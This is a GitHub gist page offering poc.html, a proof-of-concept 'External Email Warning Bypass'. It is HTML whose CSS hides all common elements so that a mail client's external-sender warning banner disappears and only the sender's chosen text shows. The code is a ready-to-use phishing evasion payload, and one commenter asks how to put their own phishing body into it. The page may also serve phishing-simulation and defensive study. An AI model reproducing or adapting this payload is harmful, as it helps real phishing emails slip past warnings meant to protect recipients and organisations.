Skip to content

Instantly share code, notes, and snippets.

@knavesec

knavesec/poc.html

Last active October 6, 2024 10:25
Show Gist options
  • Save knavesec/570ddd0cd7e00d02e87121576a677b59 to your computer and use it in GitHub Desktop.
Save knavesec/570ddd0cd7e00d02e87121576a677b59 to your computer and use it in GitHub Desktop.
Download ZIP
External Email Warning Bypass
Raw
poc.html
<!DOCTYPE html>
<html>
<head>
<title></title>
<style type="text/css">
body {
display: none !important;
background:#FFFFFF !important;
}
.id3 {
display: block !important;
}
div[style] {
display: none !important;
background:#FFFFFF !important;
}
p {
display: none !important;
background:#FFFFFF !important;
}
p[style] {
display: none !important;
background:#FFFFFF !important;
}
span {
display: none !important;
background: #FFFFFF !important;
}
span[style] {
display: none !important;
background:#FFFFFF !important;
}
table[style] {
display: none !important;
background:#FFFFFF !important;
}
table {
display: none !important;
background:#FFFFFF !important;
}
td {
display: none !important;
background:#FFFFFF !important;
}
td[style] {
display: none !important;
background:#FFFFFF !important;
}
tr {
display: none !important;
background:#FFFFFF !important;
}
tr[style] {
display: none !important;
background:#FFFFFF !important;
}
tbody {
background:#FFFFFF !important;
display: none !important;
}
tbody[style] {
display: none !important;
background:#FFFFFF !important;
}
</style>
</head>
<body>
<p class="id3">Dear Name,</p>
<p class="id3">This is a phish</p>
</body>
</html>
@afabozzi
Copy link

Did this work for you recently? When I tried it outlook moved the information from the header and put it in the body below my disclaimer. My disclaimer shows up correctly and it says Dear Name, This is a phish. Was curious if this was still and active bypass exploit basically. Thanks.

@kpomeroy1979
Copy link

Quick Question. If we use this code, and want to add our own phishing body to replace whats is listed in the example, do we have have to add the

tags to EVERY LINE OF OUR HTML CODE? or can we just lump it all our custom HTML phishing text in between the tags like below?

ALL HTML CODE GOES HERE

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment